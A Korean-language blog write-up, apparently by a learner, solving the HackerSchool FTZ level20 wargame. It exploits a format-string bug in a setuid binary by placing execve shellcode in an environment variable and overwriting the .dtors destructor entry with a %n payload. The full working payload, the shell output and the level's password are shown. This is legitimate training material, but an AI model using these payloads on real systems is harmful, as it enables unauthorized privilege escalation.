[ftz] hackerschool level20 풀이

l hackerschool level20 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 9.0

참고 도서 : 문제 풀이로 배우는 시스템 해킹 테크닉

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

login as: level20
level20@192.168.31.128's password:

 

 

 

level20 문제의 아이디인  level20 와 password인   we are just regular guys 을 입력하여 level20의 유저로 접속합니다.

 

 

 

[level20@ftz level20]$ ls -l
total 24
-rwsr-sr-x    1 clear    clear       11777 Jun 18  2008 attackme
-rw-r-----    1 root     level20       133 May 13  2002 hint
drwxr-xr-x    2 root     level20      4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level20      4096 Jan 11  2009 tmp

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/level20 ) 아래에 있는 디렉터리의 목록을 확인합니다.

목록들 중 hint 파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.

 

 

 

[level20@ftz level20]$ cat hint

#include  <stdio.h>
main(int argc,char **argv)
{ char bleh[80];
  setreuid(3101,3101);
  fgets(bleh,79,stdin);
  printf(bleh);
}

 

 

 

cat 명령어를 사용하여 hint 파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.

 

 

 

[level20@ftz level20]$ cp ./attackme ./tmp/level20
[level20@ftz level20]$ cd ./tmp
[level20@ftz tmp]$ ls -l
total 12
-rwxr-xr-x    1 level20  level20     11777 Nov 14 15:44 level20

 

 

 

문제를 풀기 전 퍼미션 문제 때문에 attackme 파일을 tmp 폴더 안에 복사하도록 하겠습니다.

 

 

 

[level20@ftz tmp]$ gdb level20
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) disas main
No symbol "main" in current context.
(gdb)

 

 

 

gdb를 사용하려 했으나 main 심볼이 없다는 문구가 떠서 사용할 수가 없습니다.

hint 코드에서 printf(bleh)구문을 보니 포맷 스트링 버그를 이용한 문제인 것 같으므로 일단 attackme 파일을 실행시켜보도록 하겠습니다.

 

 

[level20@ftz level20]$ ./attackme
AAAA %x %x %x %x
AAAA 4f 4212ecc0 4207a750 41414141

 

 

 

결과를 보니 &(AAAA %x %x %x %x) 즉 입력된 문자열의 주소와 bleh 사이에 12byte의 dummy가 있다는 것을 알 수 있습니다. 실행 결과를 메모리 구조로 나타내 보겠습니다.

 

 

 

 

 

 

printf 구문에 의해 bleh가 출력이 되면서 %x를 만나면 esp는 4byte씩 위로 이동하게 됩니다. 따라서 %x를 한 번 만나면 esp가 4byte 움직이게 되어 0x0000004f를 출력하게 되고, 다시 %x를 만나면 esp가 4byte 이동하여 0x4212ecc0를 출력합니다. 지금 총 4개의 %x를 입력했는데 그렇기 때문에 esp가 4번 움직여 41414141까지 출력하게 된 것입니다.

 

 

힌트 코드를 보니 셸을 획득할 수 있는 코드가 없는 것을 봐서는 셸 코드를 호출해주어야 한다는 것인데 gdb로 분석이 불가능하니 호출 방식에 대해 먼저 설명하고 가겠습니다.

 


저도 이번 문제를 풀며 알게 된 점인데 c언어에도 생성자와 소멸자의 개념이 있습니다. .ctors는 생성자를 .dtors는 소멸자를 나타내는데 이번 문제에서는 .dtors를 이용하여 main함수 종료 후 셸 코드를 실행할 수 있도록 할 것입니다.

 

 

 

| C언어에서의 생성자와 소멸자

c언어에서 소멸자에 해당하는 심볼은 __DTOR_LIST__, __DTOR_END__ 라는 심볼인데, 실제로 값을 변조해서 실행 흐름을 바꿀 수 있는 심볼은 __DTOR_END__ 입니다. __DTOR_LIST에서 +4byte 한 값이 __DTOR_END__의 주소가 됩니다.

그럼 .dtors의 주소를 찾아보도록 하겠습니다.

 

 

 

[level20@ftz level20]$ nm ./attackme | head
0804832c t (null)
0804958c d (null)
08049594 d (null)
080484b4 r (null)
0804959c d (null)
080494c0 d (null)
080495c4 b (null)
08048350 t (null)
0804838c t (null)
08049590 d (null)

 

 

 

nm 명령어를 이용해서 찾아보려 했으나 모든 값이 null로 되어있어 불가능할 듯합니다. 따라서 objdump를 이용하도록 하겠습니다.

 

 

 

[level20@ftz level20]$ objdump -h ./attackme

./attackme:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn

...
18 .dtors        00000008  08049594  08049594  00000594  2**2
                  CONTENTS, ALLOC, LOAD, DATA
...

 

 

 

.dtors를 보니 08049594라는 주소가 있습니다. 저 주소가 __DTOR_LIST__의 주소이고 따라서 우리가 찾으려고 하는  __DTOR_END__ 의 주소는 +4byte를 한  08049598 이 됩니다. 


그럼 이제 셸 코드를 환경변수에 넣어주도록 하겠습니다. 

 

 

 

[level20@ftz tmp]$ export SHELL=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[level20@ftz tmp]$ echo 'int main(){ printf("ADDR : 0x%x\n",getenv("SHELL"));}' > getenv.c
[level20@ftz tmp]$ gcc -o getenv getenv.c
[level20@ftz tmp]$ ./getenv
ADDR : 0xbffffbe1

 

 

 

셸 코드가 있는 주소는 0xbffffbe1이라는 것을 알았습니다. 이 주소를 소멸자에 넣어주어야 하는데, 여기서 한 가지 문제점이 있습니다. bffffbe1을 10진수로 바꾸면 3,221,224,417로 int형 범위를 넘어서게 됩니다. 따라서  소멸자를 2바이트씩 나누어 셸 코드의 주소를 소멸자의 낮은 주소와 높은 주소에 반씩  넣어주어야 합니다. 

 

 

여기서 셸 코드의 주소를 넣기 위해 %n지정자를 사용합니다. 이 문제의 핵심이 되는 지정자인데  %n 지정자는 이전까지의 입력 용량을 계산한 후 현재 esp가 가리키고 있는 위치에 저장해주는 역할을 합니다. 

 

 

소멸자를 낮은 주소와 높은 주소로 나누어보면 08049598과 08049598 + 2byte인 0804959a로 나눌 수 있습니다. 낮은 주소가 08049598이고, 높은 주소가 0804959a가 됩니다.

 

낮은 주소 => 08049598, 높은 주소 => 0804959a

 

 

 

 

포맷 스트링의 입력 형식은 다음과 같습니다.
AAAA\x98\x95\x04\x08BBBB\x9a\x95\x04\x08 + "%8x%8x%8x" + %낮은 셸 코드주소c%n" + "%높은 셸 코드주소c%n"

 

 

중간에 AAAA와 BBBB를 넣어주는 이유는 %[숫자]c%n 형식으로 %n 지정자를 사용하기 때문에 %c지정자에 의해 esp가 4byte 증가하게 됩니다. 그렇기 때문에 AAAA와 BBBB를 넣어주어야 낮은 주소와 높은 주소를 가리킬 수 있습니다. 그리고 %x가 아닌 %8x를 넣어준 이유는 %8x는 스택 상에서 4byte를 의미하며 3개를 넣어준 이유는 dummy가 12byte이므로

&(AAAA\x98\x95\x04BBBB...)에서 시작해 esp 증가를 통해 bleh의 시작 위치에 도달해주기 위해 넣어주었습니다.

 

 

 

 

 

이제 소멸자의 낮은 주소와 높은 주소에 각각 셸 코드가 있는 주소를 넣어주도록 하겠습니다. 셸 코드 또한 마찬가지로 낮은 주소와 높은 주소로 나누겠습니다.

 

0xbffffbe1 => 0xbfff = 49151(높은 주소) , 0xfbel = 64481(낮은 주소)

 

0xbffffbe1을 낮은 주소와 높은 주소로 나누어 10진수로 바꾸면 위와 같습니다. 그리고 위의 결과에 추가적으로 %[낮은 셸 코드주소]c" 이전에 입력된 길이인 "AAAA낮은주소BBBB높은주소%8x%8x%8x" 부분의 크기를 빼준 값을 낮은 셸 코드 주소에 넣어주면 됩니다.

 


%[숫자]c의 의미는 [숫자]만큼의 공백을 의미합니다. 낮은 주소에 접근하기 위해 64481만큼의 크기만 필요한데 %n의 경우 이전 입력 값까지 더하여 현재 esp가 가리키는 위치에 저장하기 때문에 64481에 "AAAA낮은주소BBBB높은주소%8x%8x%8x"의 크기를 더한 값이 저장됩니다. 따라서 64481 - (4 + 4 + 4 + 4 + 8 + 8 + 8)을 한 값인 64441을 낮은 셸 코드 주소에 넣어주면 됩니다.

 


이어서 %64441c의 %c에 의해 AAAA를 가리키고 있던 esp가 4btye 이동해서 "낮은 주소"를 가리킬 것이고, %n에 의해 낮은 주소에 길이 값이 저장된 뒤 다시 esp가 4byte 이동하여 BBBB를 가리킬 것입니다. 이제 소멸자의 높은 주소에 셸 코드의 높은 주소를 넣어보도록 하겠습니다. 0xbffff를 10진수로 바꾸게 되면 49151이 나옵니다. 마찬가지로 49151에서 64481을 빼준 값을 %[높은 셸 코드 주소]c에 넣어주어야 하지만 음수가 발생합니다. 따라서 2의 보수를 취해 0x1bffff로 변경 후 49151을 빼주게 되면 높은 셸 코드 주소의 길이 값을 알 수 있습니다. 

 

 

0x1bfff = 114687 - 64481 = 50206

 


%50206c의 %c에 의해 BBBB를 가리키고 있던 esp가 4byte 이동해서 "높은 주소"를 가리킬 것이고, %n에 의해 높은 주소에 길이 값이 저장될 것입니다.




최종적으로 입력문과 페이로드를 작성해보면 아래와 같습니다.

 

| 입력문

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64441c%n%50206c%n

 

| 페이로드

(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64441c%n%50206c%n"';cat) | ./attackme 

 

 

 

[level20@ftz level20]$ (python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64441c%n%50206c%n"';cat) | ./attackme



                              A

id
uid=3101(clear) gid=3100(level20) groups=3100(level20)
my-pass
TERM environment variable not set.

clear Password is "i will come in a minute".
웹에서 등록하세요.

* 해커스쿨의 든 레벨을 통과하신 것을 축하드립니다.
당신의 끈질긴 열정과 능숙한 솜씨에 찬사를 보냅니다.
해커스쿨에서는 실력있 분들을 모아 연구소라는 그룹을 운영하고 있습니다.
이 메시지를 보시는 분들 중에 연구소에 관심있으신 분은 자유로운 양식의
가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다.

 

 

 

위의 페이로드를 입력 후 id 명령을 입력하면 uid가 clear인 것을 볼 수 있습니다. 그 후 my-pass를 누르면 clear의 password를 확인할 수 있습니다.

 

 

 

l clear 비밀번호

더보기

clear Password is "i will come in a minute". 

 

'보안 > HackerSchool-ftz' 카테고리의 다른 글

[ftz] hackerschool level19 풀이  (0) 2020.01.05
[ftz] hackerschool level18 풀이  (0) 2020.01.03
[ftz] hackerschool level17 풀이  (0) 2020.01.03
[ftz] hackerschool level16 풀이  (0) 2020.01.02
[ftz] hackerschool level15 풀이  (0) 2020.01.02

이 글을 공유하기

댓글

Designed by JB FACTORY